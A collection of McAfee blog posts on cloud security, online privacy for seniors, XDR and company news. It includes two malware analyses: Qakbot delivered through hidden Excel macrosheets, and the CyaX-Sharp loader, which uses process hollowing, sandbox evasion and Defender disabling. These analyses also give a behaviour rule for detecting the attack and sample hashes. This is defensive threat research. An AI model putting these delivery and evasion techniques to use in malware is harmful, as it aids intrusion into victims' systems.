Finally, the MVISION platform provides benefits that a single-point solution for one cloud service cannot satisfy. A single point for cloud control removes gaps in policy enforcement. Visibility into all cloud traffic allows MVISION to correlate activity occurring across multiple cloud services, identifying high-risk users and cloud-to-cloud threats. And MVISION offers integrations with on-premises security tools to extend existing security policies to the cloud and feed cloud threats into SIEM solutions. Consolidating all cloud security data in one tool is the best way to capture a holistic view of cloud risk, in a snapshot and as it changes over time.
Moving to the cloud does not have to be a trade-off between business results and security. Improved security in the cloud is a reality for companies that have embraced a cloud-native security approach. Using MVISION Cloud for Dynamics 365 can make data safer than ever before while empowering business teams to become more efficient and dynamic.
For more information or to test out MVISION Cloud for Dynamics please visit us at: https://www.mcafee.com/enterprise/en-us/solutions/mvision/marketplace.html
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Smart speakers. Banking online. Location tracking. If you are a senior adult, there’s no doubt, the digital leaps and bounds you’re asked to consider each day can be daunting. If you are the child of a senior adult trying to make digital life more accessible, helping your parent consistently stay safe online can also be a challenge.
According to the most recent Pew study on the topic, senior adults continue to become more digitally connected, but adoption rates continue to trail younger users, and digital divides remain. The study also revealed that 77% of older adults needed assistance in learning how to use technology.
As a senior, it’s easy to feel intimidated and even try to avoid technology altogether as a safety plan. However, more healthcare, banking, and retailers become almost 100% digital, opting out of digital life is becoming impossible.
Still, there’s a way forward. As with any challenge, it’s best to begin one step at a time. First, put your stake in the ground by committing to increase your awareness and consistency in the digital realm. Doing so will help you reduce your fear about potential data breaches, malware attacks, or worse, falling prey to an online scam. Here are seven more ways to build upon your privacy path.
1. Consider another layer of protection. Parental controls and antivirus software cover every age and stage of a family’s digital life. Here’s why: 1) If you are a senior and love exploring online but hate bumping into inappropriate content, parental controls will help you keep the fun and block the junk 2) Filtering software also keeps your PC clean and protected from viruses and malware. 3) If you are a caregiver to a senior and notice your parent struggling with online shopping limits, keeping personal information private on social media, or even sharing fake news, parental controls can help by blocking tempting sites.
2. Update and store your passwords. Updating your passwords regularly is an online privacy gamechanger. The only problem? It’s tough to remember all those passwords, so who wants to risk changing them, right? Consider a password manager (find the software packages that have a password manager built-in). Your Password Manager (PM) stores then populates the username and password fields every time you log on to a favorite site or app. Better yet, it makes changing your password an easy task since you don’t need to do any remembering—your PM does it all for you.
3. Use 2-Factor Authentication (2FA). What in the world? 2FA sounds complicated! Don’t worry, it’s not. Opting for 2FA means that before logging onto your account, you will have one more step to verify it’s you logging on. When given this privacy option, take it. Commonly, the 2FA process is a code generated by a smartphone app—no biggie. If you want to try, go to your settings in your favorite apps, such as Google or Facebook, and turn on the 2FA option.
4. Install software updates immediately. Along with strong passwords, updating your software is a front-line defense against identity theft and fraud. Installing software updates (those pesky pop-up notices that are critical to your privacy) is essential in securing your IoT devices, PCs and phones, and the social media, banking, and healthcare portals connected to them.
5. Use a Virtual Private Network (VPN). If we could write this one tip down a hundred times without losing our readers, we surely would. Every senior adult needs a VPN for practical, powerful privacy protection and peace of mind. A VPN keeps credit card and personal info contained in a secure network and away from prying eyes.
6. Fight back with knowledge. Fraudulent emails connected to fraudulent websites can look very legitimate. A secure website will have an “HTTPS” in the browser’s address bar. The “s” stands for “secure.” If the web address or URL is just HTTP, it’s not a secure site. Still unsure? Read reviews of the site from other users before making a purchase. Never send cash, cashier’s check, or a personal check to any online vendor. If purchasing, always use a credit card in case there is a dispute. Stay up-to-date on scams that target seniors specifically. Lately, elder scams have been constructed around COVID, dating apps, tax returns, employment, and, of course, the common military catfish scams.
7. Have fun as you skill up. When trying to boost your digital skills, don’t forget about all the amazing instructional content at your fingertips. A quick search of YouTube will render easy-to-understand videos on how to do just about everything (including install security software, change your router password, secure the smart devices in your home, and how to adjust your privacy settings on any device).
Learning or building a new skill isn’t always easy, but if you stop to think about it, as a senior, you’ve gained so many skills over your lifetime (far more than your juniors). So, practically speaking, building up your tech skills is one is just one more task to ace. So, lean into the challenge, have fun learning, and don’t hesitate to ask for help if you need it.
The post 7 Savvy Ways Senior Adults Can Safeguard Digital Privacy appeared first on McAfee Blogs.
Written by: Lakshya Mathur
Excel-based malware has been around for decades and has been in the limelight in recent years. During the second half of 2020, we saw adversaries using Excel 4.0 macros, an old technology, to deliver payloads to their victims. They were mainly using workbook streams via the XLSX file format. In these streams, adversaries were able to enter code straight into cells (that’s why they were called macro-formulas). Excel 4.0 also used API level functions like downloading a file, creation of files, invocation of other processes like PowerShell, cmd, etc.
With the evolution of technology, AV vendors started to detect these malicious Excel documents effectively and so to have more obfuscation and evasion routines attackers began to shift to the XLSM file format. In the first half of 2021, we have seen a surge of XLSM malware delivering different family payloads (as shown in below infection chart). In XLSM adversaries make use of Macrosheets to enter their malicious code directly into the cell formulas. XLSM structure is the same as XLSX, but XLSM files support VBA macros which are more advanced technology of Excel 4.0 macros. Using these macrosheets, attackers were able to access powerful windows functionalities and since this technique is new and highly obfuscated it can evade many AV detections.
Excel 4.0 and XLSM are both known to download other malware payloads like ZLoader, Trickbot, Qakbot, Ursnif, IcedID, etc.
The above figure shows the Number of samples weekly detected by the detected name “Downloader-FCEI” which specifically targets XLSM macrosheet based malware.
XLSM Structure
XLSM files are spreadsheet files that support macros. A macro is a set of instructions that performs a record of steps repeatedly. XLSM files are based upon Open XLM formats that were introduced in Microsoft Office 2007. These file types are like XLSX but in addition, they support macros.
Talking about the XLSM structure when we unzip the file, we see four basic contents of the file, these are shown below.
We will focus more on the “xl” folder contents. This folder contains all the excel file main contents like all the worksheets, media files, styles.xml file, sharedStrings.xml file, workbook.xml file, etc. All these files and folders have data related to different aspects of the excel file. But for XLSM files we will focus on one unique folder called macrosheets.
These XLSM files contain macrosheets as shown in figure-2 which are nothing but XML sheet files that can support macros. These sheets are not available in other Excel file formats. In the past few months, we have seen a huge surge in XLSM file-type malware in which attackers store malicious strings hidden within these macrosheets. We will see more details about such malware in this blog.
To explain further how attackers uses XLSM files we have taken a Qakbot sample with SHA 91a1ba70132139c99efd73ca21c4721927a213bcd529c87e908a9fdd71570f1e.
The infection chain for both Excel 4.0 Qakbot and XLSM Qakbot is similar. They both downloads dll and execute it using rundll32.exe with DllResgisterServer as the export function.
On opening the XLSM file there is an image that prompts the user to enable the content. To look legitimate and clean malicious actors use a very official-looking template as shown below.
On digging deeper, we see its internal workbook.xml file.
Now as we can see in the workbook.xml file (Figure-5), there is a total of 6 sheets and their state is hidden. Also, two cells have a predefined name and one of them is Sheet2323!$A$1 defined as “_xlnm.Auto_Open” which is similar to Sub Auto_Open() as we generally see in macro files. It automatically runs the macros when the user clicks on Enable Content.
As we saw in Figure-3 on opening the file, we only see the enable content image. Since the state of sheets was hidden, we can right-click on the main sheet tab and we will see unhide option there, then we can select each sheet to unhide it. On hiding the sheet and change the font color to red we saw some random strings as seen in figure 6.
These hidden sheets contain malicious strings in an obfuscated manner. So, on analyzing more we observed that sheets inside the macrosheets folder contain these malicious strings.
Now as we can in figure-7 different tags are used in this XML sheet file. All the malicious strings are present in two tags <f> and <v> tags inside <sheetdata> tags. Now let’s look more in detail about these tags.
<v> (Cell Value) tags are used to store values inside the cell. <f> (Cell Formula) tags are used to store formulas inside the cell. Now in the above sheet <v> tags contain the cached formula value based on the last time formula was calculated. Formula cells contain formulas like “GOTO(Sheet2!H13)”, now as we can see here attackers can store different formulas while referencing cells from different sheets. These operations are done to produce more and more obfuscated sheets and evade AV signatures.
When the user clicks on the enable content button the execution starts from the Auto_Open cell, after which each sheet formula will start to execute one by one. The final deobfuscated string is shown below.
Here the URLDownloadToFIleA API is used to download the payload and the string “JJCCBB” is used to specify data types to call the API. There are multiple URI’s and from one of them, the DLL payload gets downloaded and saved as ..\\lertio.cersw. This DLL payload is then executed using rundll32. All these malicious activities get carried out using various excel based formulas like REGISTER, EXEC, etc.
McAfee’s Endpoint products detect this variant of malware as below:
The main malicious document with SHA256 (91a1ba70132139c99efd73ca21c4721927a213bcd529c87e908a9fdd71570f1e) is detected as “Downloader-FCEI” with current DAT files.
Additionally, with the help of McAfee’s Expert rule feature, customers can add a custom behavior rule, specific to this infection pattern.
Rule {
Process {
Include OBJECT_NAME { -v “EXCEL.exe” }
}
Target {
Match PROCESS {
Include OBJECT_NAME { -v “rundll32.exe” }
Include PROCESS_CMD_LINE { -v “* ..\\*.*,DllRegisterServer” }
Include -access “CREATE”
}
}
}
McAfee advises all users to avoid opening any email attachments or clicking any links present in the mail without verifying the identity of the sender. Always disable the Macro execution for Office files. We advise everyone to read our blog on these types of malicious XLSM files and their obfuscation techniques to understand more about the threat.
Different techniques & tactics are used by the malware to propagate, and we mapped these with the MITRE ATT&CK platform.
XLSM malware has been seen delivering many malware families. Many major families like Trickbot, Gozi, IcedID, Qakbot are using these XLSM macrosheets in high quantity to deliver their payloads. These attacks are still evolving and keep on using various obfuscated strings to exploit various windows utilities like rundll32, regsvr32, PowerShell, etc.
Due to security concerns, macros are disabled by default in Microsoft Office applications. We suggest it is only safe to enable them when the document received is from a trusted source and macros serve an expected purpose.
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This is the third in a series of blogs on the Cybersecurity EO, and I encourage you to read those you may have missed. (Part 1, Part 2).
Between the initial publication of the Executive Order (EO) for Improving the Nation’s Cybersecurity on May 12 and late July, a flurry of activity by departments and agencies continues to occur on how best to understand and address potential security gaps. Once identified, these analyses will facilitate plans to fulfill the requirements and further augment agencies’ existing preventative measures to improve their cybersecurity posture. Due to numerous far-reaching cybersecurity breaches that have occurred throughout the past year, one of the primary areas of emphasis in the Executive Order is enhancing the Federal Government’s ability to be more proactive in detecting vulnerabilities and preventing cybersecurity incidents throughout an agency’s network. By introducing an Endpoint Detection and Response (EDR) solution into an enterprise environment, the Government will be able to empower agency SOC teams to engage in active cyber hunting, containment, remediation, and incident response activities more universally.
The potential loss and impact of a cyberattack is no longer constrained to a single silo within an agency’s network or a small subset of devices. It can quickly escalate and impact the mission of an agency in seconds. That is why the Executive Order states it is crucial a government-wide initiative is undertaken to begin to get ahead of malicious actors by developing a comprehensive security strategy to prevent attacks before they happen.
Many cyberthreats use multiple attack mechanisms, requiring a different approach to keep our enterprises secure from malicious actors. Endpoint protection platforms still play a critical role in defending agency assets, but they are only one component of a multilayered approach to a robust cybersecurity strategy. Fortunately, McAfee Enterprise’s endpoint protection platform offers a threat detection capability that allows incorporating a next-generation solution (EDR) to track down potential threats if they break through the first layer of countermeasures.
By incorporating endpoint detection and response (EDR), organizations have granular control and visibility into their endpoints to detect suspicious activity. As a cloud service, EDR can incorporate new features and services in much more agile fashion than other solutions. MVISION EDR can discover and block threats in the pre-execution stage, investigate threats through analytics, and help provide an incident response plan. Additionally, by leveraging AI and machine learning to automate the steps in an investigative process, more experienced threat hunters can focus on in-depth analysis of sophisticated attacks, and other members of the SOC team can discover key findings to triage potential threats much faster and with less experience. These new capabilities can learn an agency’s baseline behaviors and use this information, along with a variety of other threat intelligence sources, to interpret findings.
As the attack surface continues to evolve, a far more holistic approach to detection is needed. Although EDR is crucial to surfacing anomalous threats and malicious behavior for workstations, servers, and cloud workloads, their area of influence is confined to the telemetry provided by the endpoint. Realizing EDR is network blind and SIEM is endpoint blind, we integrated McAfee Enterprise EDR and SIEM technologies to enrich investigations. Still, more telemetry sources are needed to reveal all potential threat vectors an enterprise may encounter. This is where Extended Detection and Response (XDR) comes in, supporting agencies in a journey beyond the endpoint and allowing them to close even more gaps.
XDR isn’t a single product or solution but rather a journey, as it refers to compiling multiple security products and technologies that comprise a unified platform. An XDR approach will shift processes and likely merge and encourage tighter coordination between different functions like SOC analysts, hunters, incident responders and IT administrators.
SIEMs are largely data-driven, meaning they need data definitions, custom parsing rules and pre-built content packs to retrospectively provide context based on the data they have ingested. In contrast, XDR is hypothesis driven, harnessing the power of machine learning and artificial intelligence engines to analyze high-fidelity threat data from a multitude of sources across the environment to support specific lines of investigation mapped to the MITRE ATT&CK framework.
Technically speaking, an XDR is a converged platform leveraging a common taxonomy and unifying language. An effective XDR must bring together numerous heterogeneous signals and return a homogenous visual and analytical representation. XDR must clearly show the potential security correlations that the SOC should focus on. Such a solution would de-duplicate information on one hand, but would emphasize the truly high-risk attacks, while filtering out the mountains of noise. The desired outcome would not require excessive amounts of repetitive manual work. Instead, it would allow SOC teams to focus on leading investigations and mitigating attacks. XDR’s presentation of data would be aware of context and content, be advanced technologically, yet be simple enough for analysts to understand and act upon.
As many organizations begin to adopt EDR solutions with the capability to embrace XDR, they also must consider how these solutions enable them to migrate toward a Zero Trust architecture. The wealth of information that will be available in a platform capable of distilling threat telemetry not only from endpoints, the networks they are accessing, and the cloud services they consume will create real advantages. It will greatly improve the granularity, flexibility, and accuracy of the policy engines granting access to enterprise resources and using that degree of trust to determine how much access is granted within the application.
The ideal solution must provide enhanced detection and response capabilities across endpoints, networks, and cloud infrastructures. It needs to prioritize and predict threats that matter before the attack and prescribe necessary countermeasures allowing the organization to proactively harden their environment. The ideal solution also must incorporate Zero Trust, and it should be built on an open security ecosystem.
McAfee Enterprise recognized early on that a multi-vendor security ecosystem is a key requirement to building a defense in depth security practice. One of the key building blocks was the Data Exchange Layer (DXL), which was subsequently made available as an open-source project (OpenDXL) for the community to further develop innovative use cases. This enabled our diverse ecosystem of partners from threat intelligence platforms to orchestration tools to use a common transport mechanism and information exchange protocol, thereby encouraging participating vendors to not only communicate vital threat details but also inform them of actions that all connected security solutions should take.
When you combine XDR and an open security ecosystem for XDR capabilities, agencies will have a solid foundation to advance their visibility and detection capabilities across their entire cyber infrastructure.
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If you are part of an organization aspiring to evolve and modernize your SecOps practice with greater efficiencies with XDR, this read is for you.
So, what’s all the continuous hype about XDR? Is it for you and what does it mean to your organization? If you haven’t already, I invite you to read our XDR—Please Explain and Unravel to XDR Noise blogs for added context. From here we can begin to ask, what are XDRs and what are they not? What happens once you acquire components that add the “X-factor” to your threat detection and response (TDR) practice? And how can SOC teams use it for investigation, prioritization, remediation and hunting?
I’ll cover the basics in this blog and hopefully by the end I’ve piqued your interest enough to watch our on-demand webinar where we will cover these aspects in detail.
For security practitioners, there’s one question that is top of mind—am I protected against the latest threats? But let’s face it, threats are evolving, adversaries are evolving too and a shortage of talent make it near impossible to keep up with alerts.
In fact, according to the latest XDR research by ESG, The Impact of XDR in the Modern SOC March 2021 [1], the top challenges related to TDR for respondents were:
Advanced threats are now commonplace, challenging most security professionals to detect and respond before damage is done, we know that these attacks leverage multiple attack vectors to gain a foothold and execute. XDR solutions bring together security telemetry across multiple controls, correlating and stitching together complex attacks so analyst can quickly assess and investigate. XDR is seen as having the potential to modernize the SOC with enriched and aggregated security analytics capabilities to accelerate the investigation to a resolution.
What’s more, McAfee Enterprise is here to help you evolve your SecOps practice into the next era of security analytics, threat detection and response. McAfee’s MVISION XDR tools provide visibility across multiple control points to not only detect threats but to help organizations improve their security posture. In addition, MVISION Insights provides relevant threat intel to help customers proactively prevent threats on multiple control points like endpoint.
We invite view our on-demand webinar with Mo Cashman, Enterprise Architect at McAfee Enterprise, and Dave Gruber, Senior Analyst at ESG, as they cover what XDRs are and aren’t, the keys to SOC modernization for XDR with a focus on the SOAPA approach to security, and how McAfee’s MVISION XDR lays out the flexible groundwork for organizations aspiring to evolve with XDR. Here is the link to watch.
Whether you are building a SOC function with limited resources or maturing a well-established SOC, McAfee Enterprise is here to help you simplify and strengthen your security operations with MVISION XDR. With MVISION XDR, you can proactively identify, investigate and mitigate threat actors targeting your organization before they can gain a foothold in the network. By combining the latest machine-learning techniques with human analysis, XDR connects and amplifies the early warning signals from your sensors at the network, endpoint, and cloud to improve situational awareness, drive better and faster decisions, and elevate your SOC. [2]
1 – ESG Research Report: The Impact of XDR in the Modern SOC by Jon Oltsik
2 – Cyber Cyber, Burning Bright: Can XDR Frame Thy Fearful Asymmetry?
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McAfee Enterprise is pleased to announce that the Network Security Platform (NSP), our industry leading next-gen Intrusion Prevention System (IPS) solution, has been awarded Miercom Certified Secure for superior security and performance.
Miercom has been reviewing network products for over 30 years, forming standardized test programs that have grown into a worldwide evaluation service for the latest technology. Miercom has published hundreds of network product analyses in leading trade periodicals and other publications, thus gaining the reputation of being a leading, independent product test center.
The NSP Next Generation Intrusion Prevention System (NGIPS) solution was independently assessed by Miercom engineers for security, performance, and hands-on use to provide unbiased verification of McAfee Enterprise’s unique qualities. The NGIPS solution was deployed in a real-world environment and subject to performance tests, multiple iterations of attacks from Miercom’s proprietary malware suite, and exploits from Ixia BreakingPoint and other test tools.
Figure 1. Test Bed Diagram
Figure 2. Test Tools
NSP demonstrated security effectiveness in the attack lifecycle detection and protection through its efficient signature engine along with multiple advanced signature-less detection technologies, including file analysis, protocol behavior analysis, and network behavior analysis. The results not only showed NSP continued to hold the highest standard in exploit prevention capability, but also proved its advantage in zero-day malware and malicious URL protection compared to other IPS solutions in the market.
“Based on our findings, the McAfee Network Security Platform with NS9500 sensors demonstrates competitively superior security and performance. The McAfee solution was stressed under real-world known and not yet discovered exploits and heavily loaded conditions and passed these tests with ease. McAfee Network Security Platform has rightfully earned the distinction as Miercom Certified Secure.” – Rob Smithers, CEO, Miercom
McAfee Enterprise’s new appliance offerings, NS9500 and NS7500, are scalable hardware platforms that provide investment protection. They offer multiple throughput options with the inspection throughput being controlled by a software license. This provides customers the flexibility to only buy capacity that is needed, and easily scale inspection throughput as needs increase via a software upgrade license and/or by stacking appliances. The appliances are purpose-built for line speed DPI (Deep Packet Inspection) and its efficient architecture preserves performance regardless of security settings unlike other IPS offerings in the market.
To download a copy of the report, please visit McAfee.com/nsp-Miercom
To learn more about McAfee NSP, please visit McAfee.com/nsp
To learn more about Miercom, please visit https://Miercom.com
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In the last week there has been change, but a lot remains the same, too. First, we are now McAfee Enterprise, a pure-play enterprise cybersecurity company under the new ownership of Symphony Technology Group (STG). It’s an exciting change and true focus for our company, allowing us to concentrate on enterprise and commercial business needs. Our partners are an important part of our journey, and together we are excited to continue to win and drive success.
As we start this chapter as a pure-play enterprise security company, my focus is on adding value for our partners at all levels, ensuring our joint customers understand the power of our technology portfolio, and driving profitability and growth through better cybersecurity outcomes for our customers.
Our strategy continues to be Channel First, and we have worked to create continuity in all that we do for our channel partners and customers through the transition. That means our operations as a company will remain very much the same, so there will be no new systems or tools to learn, and our partners will continue to receive the same program benefits. At the same time, we will continue to evaluate and enhance program benefits, enablement and sales engagement.
We look forward to embarking on this journey with our partners as McAfee Enterprise. Our vision cannot be achieved without our partners’ trust and confidence in us.
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The DotNet based CyaX-Sharp loader, also known as ReZer0, is known to spread commodity malware, such as AgentTesla. In recent years, this loader has been referenced numerous times, as it was used in campaigns across the globe. The tale of CyaX-Sharp is interesting, as the takeaways provide insight into the way actors prefer to use the loader. Additionally, it shines a light onto a spot that is not often illuminated: the inner workings of loaders.
This blog is split up into several segments, starting with a brief preface regarding the coverage of loaders in reports. After that, the origin of the loader’s name is explored. Next, the loader’s capabilities are discussed, as well as the automatic extraction of the embedded payload from the loader. Lastly, the bulk analysis of 513 unique loader samples is discussed.
To conceal the malware, actors often use a loader. The purpose of a loader is, as its name implies, to load and launch its payload, thereby starting the next stage in the process. There can be multiple loaders that are executed sequentially, much like a Russian Matryoshka doll in which the smallest doll, which is hidden inside numerous others, is the final payload. The “smallest doll” generally contains the malware’s main capabilities, such as stealing credentials, encrypting files, or providing remote access to the actor.
While there is a lot of research into the actions of the final payload, the earlier stages are just as interesting and relevant. Even though the earlier stages do not contain the capabilities of the malware that is eventually loaded, they provide insight as to what steps are taken to conceal the malware. Blogs generally mention the capabilities of a loader briefly, if at all. The downside here lies in the potential detection rules that others can create with the blog, as the focus is on the final step in the process, whereas the detection should start as soon as possible.
Per best security practices, organizations should protect themselves at every step along the way, rather than only focusing on the outside perimeter. These threat models are often referred to as the, respectively, onion and egg model. The egg’s hard shell is tough to break, but once inside, an attacker has free roam. The onion model opposes the attacker every step of the way, due to its layered approach. Knowing the behavior of the final payload is helpful to detect and block malware although, ideally, the malware would be detected as early on as possible.
This blog focuses on one specific loader family, but the takeaways are valid in a broader sense. The preferred configurations of the actors are useful to understand how loaders can be used in a variety of attacks.
A recent blog by G Data’s Karsten Hahn provides a more in-depth look into malware families ambiguous naming schemes. This loader’s name is also ambiguous, as it is known by several names. Samples are often named based on distinctive characteristics in them. The name CyaX-Sharp is based upon the recurring string in samples. This is, however, exactly why it was also named ReZer0.
When looking at the most used names within the 513 obtained samples, 92 use CyaX-Sharp, whereas 215 use ReZer0. This would make it likely that the loader would be dubbed ReZer0, rather than CyaX-Sharp. However, when looking at the sample names over time, as can be seen in the graph below, the reason why CyaX-Sharp was chosen becomes apparent: the name ReZer0 was only introduced 8 months after the first CyaX-Sharp sample was discovered. Based on this, McAfee refers to this loader as CyaX-Sharp.
Within the settings, one will find V2 or V4. This is not a reference of the loader’s version, but rather the targeted DotNet Framework version. Within the sample set, 62% of the samples are compiled to run on V4, leaving 38% to run on V2.
Each version of the loader contains all core capabilities, which may or may not be executed during runtime, based on the loader’s configuration. The raw configurations are stored in a string, using two pipes as the delimiting value. The string is then converted into a string array using said delimiter. Based on the values at specific indices, certain capabilities are enabled. The screenshots below show, respectively, the raw configuration value, and some of the used indices in a sample (SHA-256: a15be1bd758d3cb61928ced6cdb1b9fa39643d2db272909037d5426748f3e7a4).
The loader can delay its execution by sleeping for a certain number of seconds, use a mutex to ensure it is not already running, display a message box with a custom message, persist itself as a scheduled task, and/or execute a given payload in several ways. The payload can be downloaded from an external location, after which it is started. Alternatively, or additionally, the embedded payload within the loader can be launched. This can be done directly from the loader’s memory with the help of reflective calls, or by hollowing a newly created process. The flowchart below visualizes the process. Note that the dotted line means the linked step can be skipped, depending on the loader’s configuration.
The newly created process is one of the following: MSBuild.exe, vbc.exe, RegSvcs.exe, or a new instance of the loader. The process hollowing code segment seems to be taken from NYAN-x-CAT’s GitHub, as the for-loop to start the process hollowing method is present in both the loader and the linked repository. The way an error is handled is not a standardized method, making the link between the publicly available code very likely. The first image below shows the original code from the repository, whereas the second image shows the code from the loader (SHA-256: a15be1bd758d3cb61928ced6cdb1b9fa39643d2db272909037d5426748f3e7a4)
The loop calls the process hollowing function several times to more easily handle exceptions. In the case of an exception during the process hollowing, the targeted process is killed and the function returns. To try several times, a loop is used.
Even though the loader has changed over time, it maintained the same core structure. Later versions introduced minor changes to existing features. Below, different loader versions will be described, where the length of the string array that contains the loader’s configuration is used to identify different versions. The graph shows the rise and fall for each of the versions.
There are two notable differences in versions where the config array’s size is larger than 29. Some specific samples have slightly different code when compared with others, but I did not consider these differences sizable enough to warrant a new version.
Firstly, the ability to enable or disable the delayed execution of a sample. If enabled, the execution is delayed by sleeping for a predefined number of seconds. In config_29, the delay functionality is always enabled. The duration of the delay is based on the System.Random object, which is instantiated using the default seed. The given lower and upper limits are 45,000 and 60,000, resulting in a value between these limits, which equals in the number of milliseconds the execution should be delayed.
Secondly, the feature to display a custom message in a prompt has been added. The config file contains the message box’ title, text, button style, and icon style. Prompts can be used to display a fake error message to the victim, which will appear to be legitimate e.g. 43d334c125968f73b71f3e9f15f96911a94e590c80955e0612a297c4a792ca07, which uses “You do not have the proper software to view this document” as its message.
To automatically extract the payload and configuration of a given loader, one can recreate the decryption mechanism in a language of choice, get the encrypted data from the loader, and decrypt it. The downside here is the need for an exact copy of the decryption mechanism. If the key were to change, or a slightly different algorithm were to be used, the copy would also need to reflect those changes. To avoid dealing with the decryption method, a different approach can be taken.
This loader mistakenly uses static variables to store the decrypted payload and configuration in. In short, these variables are initialized prior to the execution of the main function of the loader. As such, it is possible to reflectively obtain the value of the two variables in question. A detailed how-to guide can be found on my personal website. The data that was extracted from the 513 samples in the set is discussed in the next section.
The complete set consists of 513 samples, all of which were found using a single Yara rule. The rule focuses on the embedded resource which is used to persist the loader as a scheduled task on the victim’s system. In some cases, the Yara rule will not match a sample, as the embedded resource is obfuscated using ConfuserEx (one example being SHA-256 0427ebb4d26dfc456351aab28040a244c883077145b7b529b93621636663a812). To deobfuscate, one can use ViRb3’s de4dot-cex fork of de4dot. The Yara rule will match with the deobfuscated binary. The graph below shows the number of unique samples over time.
The dates are based on VirusTotal’s first seen date. Granted, this date does not need to represent the day the malware was first distributed. However, when talking about commodity malware that is distributed in bulk, the date is reliable enough.
The sample set that was used is smaller than the total amount of loaders that have been used in the wild. This loader is often not the first stage, but rather an in-memory stage launched by another loader. Practically, the sample set is sizable enough for this research, but it should be noted that there are more unique loader samples in the wild for the given date range than are used in this report.
It is useful to know what the capabilities of a single sample are, but the main area of interest of this research is based upon the analysis of all samples in the set. Several features will be discussed, along with thoughts on them. In this section, all percentages refer to the total of 513 unless otherwise specified.
The loader’s usage is widespread, without a direct correlation towards a specific group or geographical region. Even though some reports mention a specific actor using or creating this loader, the fact that at least one builder has leaked makes attribution to one or more actors difficult. Coupled with the wide variety of targeted industries, as well as the broad geographic targeted areas, it looks like several actors utilise this loader. The goal of this research is not to dig into the actors who utilise this loader, but rather to look at the sample set in general. Appendix A provides a non-exhaustive list of public articles that (at least) mention this loader, in descending chronological order.
The two options to launch a payload, either reflectively or via process hollowing, are widely apart in usage: 90% of all loaders uses process hollowing, whereas only 10% of the samples are launched via reflection. Older versions of the loader sometimes used to reflectively load a decrypted stager from the loader’s resources, which would then launch the loader’s payload via process hollowing. The metrics below do not reflect this, meaning the actual percentage of direct launches might be slightly lower than is currently stated. The details can be viewed in the graph below.
Note that the reflective loading mechanism will default to the process hollowing of a new instance of the loader if any exception is thrown. Only DotNet based files can be loaded reflectively, meaning that other files that are executed this way will be loaded using a hollowed instance of the loader.
The persistence method, which uses a scheduled task to start the loader once the computer boots, is used by 54% of the loaders. This does not mean that the other 46% of the samples are not persisted on the victim’s machine, as a different stage could provide persistence as well. Notable is the date within the scheduled task, which equals 2014-10-25T14:27:44.8929027. This date is, at the time of writing, nearly 2500 days ago. If any of the systems in an organization encounter a scheduled task with this exact date, it is wise to verify its origin, as well as the executable that it points to.
A third of all loaders are configured to avoid running when an instance is already active using a mutex. Similar to the persistence mechanism, a mutex could be present in a different stage, though this is not necessarily the case. The observed mutexes seem to consist of only unaccented alphabetical letters, or [a-zA-Z]+ when written as a regular expression.
Delayed execution is used by nearly 37% of the samples, roughly half of which are config_29, meaning this setting was not configurable when creating the sample. The samples where the delayed execution was configurable, equal nearly 19% of the total. On average, a 4 second delay is used. The highest observed delay is 600 seconds. The graph below shows the duration of the delay, and the frequency.
Note that one loader was configured to have a delay of 0 seconds, essentially not delaying the execution. In most cases, the delayed time is a value that can be divided by five, which is often seen as a round number by humans.
Prior to launching the payload, the loader can perform several checks. A virtual environment can be detected, as well as a sandbox. Roughly 10% of the samples check for the presence of a virtual machine, whereas roughly 11% check if it is executed in a sandbox. Roughly 8% of the 513 samples check for the presence of both, prior to continuing their execution. In other words, 88% of the samples that try to detect a virtual machine, also attempted to detect a sandbox. Vice versa, 74% of the samples that attempted to detect the sandbox, attempted to detect if they were executed on a virtual machine.
The option to disable Windows Defender was mainly present in the earlier samples, which is why only 15% of the set attempts to disable it.
The loader’s final goal is to execute the next stage on the victim’s machine. Knowing what kind of malware families are often dropped can help to find the biggest pain points in your organization’s additional defensive measures. The chart below provides insight into the families that were observed the most. The segment named other contains all samples that would otherwise clutter the overview due to the few occurrences per family, such as the RedLine stealer, Azorult, or the lesser known MrFireMan keylogger.
The percentages in the graph are based on 447 total payloads, as 66 payloads were duplicates. In other words, 66 of the unique loaders dropped a non-unique payload. Of all families, AgentTesla is the most notable, both in terms of frequency and in terms of duplicate count. Of the 66 duplicates, 48 were related to AgentTesla.
Two functions of the loader that are barely used are the message box and the download of a remote payload. The usage of both is, respectively, 1.3% and 0.8%. All of the remote payloads also contained an embedded payload, although one of the four remotely fetching loaders does not contain a URL to download the remote payload from. The external file can be used as an additional module for a next stage, a separate malicious payload, or it can be used to disable certain defense mechanisms on the victim’s device.
Companies using the aforementioned onion security model benefit greatly from the dissection of such a loader, as their internal detection rules can be improved with the provided details. This stops the malware’s execution in its tracks, as is shown in the sequential diagram of McAfee’s detection below.
The techniques that this loader uses are commonly abused, meaning that the detection of a technique such as process hollowing will also prevent the successful execution of numerous other malware families. McAfee’s Endpoint Security (ENS) and Endpoint Detection & Response (EDR) detect the CyaX-Sharp loader every step of the way, including the common techniques it uses. As such, customers are protected against a multitude of families based on a program’s heuristics.
Below, a non-exhaustive chronologically descending list of relevant articles is given. Some articles contain information on the targeted industries and/or target geographical area.
The hashes that are mentioned in this blog are listed below, in order of occurrence. The SHA-1 and SSDeep hashes are also included. A full list of hashes for all 513 samples and their payloads can be found here.
Sample 1
SHA-256: a15be1bd758d3cb61928ced6cdb1b9fa39643d2db272909037d5426748f3e7a4
SHA-1: 14b1a50c94c2751901f0584ec9953277c91c8fff
SSDeep: 12288:sT2BzlxlBrB7d1THL1KEZ0M4p+b6m0yn1MX8Xs1ax+XdjD3ka:O2zBrB7dlHxv0M4p+b50yn6MXsSovUa
Sample 2
SHA-256: 43d334c125968f73b71f3e9f15f96911a94e590c80955e0612a297c4a792ca07
SHA-1: d6dae3588a2a6ff124f693d9e23393c1c6bcef05
SSDeep: 24576:EyOxMKD09DLjhXKCfJIS7fGVZsjUDoX4h/Xh6EkRlVMd3P4eEL8PrZzgo0AqKx/6:EyycPJvTGVijUDlhfEEIUvEL8PrZx0AQ
Sample 3
SHA-256: 0427ebb4d26dfc456351aab28040a244c883077145b7b529b93621636663a812
SHA-1: 8d0bfb0026505e551a1d9e7409d01f42e7c8bf40
SSDeep: 12288:pOIcEfbJ4Fg9ELYTd24xkODnya1QFHWV5zSVPjgXSGHmI:EEj9E/va
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Hyperautomation is a process where artificial intelligence (AI), machine learning (ML), event-driven software, and other tools are used to automate as many business and IT processes as possible. Forecasted by Gartner to reach $596.6 billion by 20221, hyperautomation and the global software market that enables it show no signs of slowing.
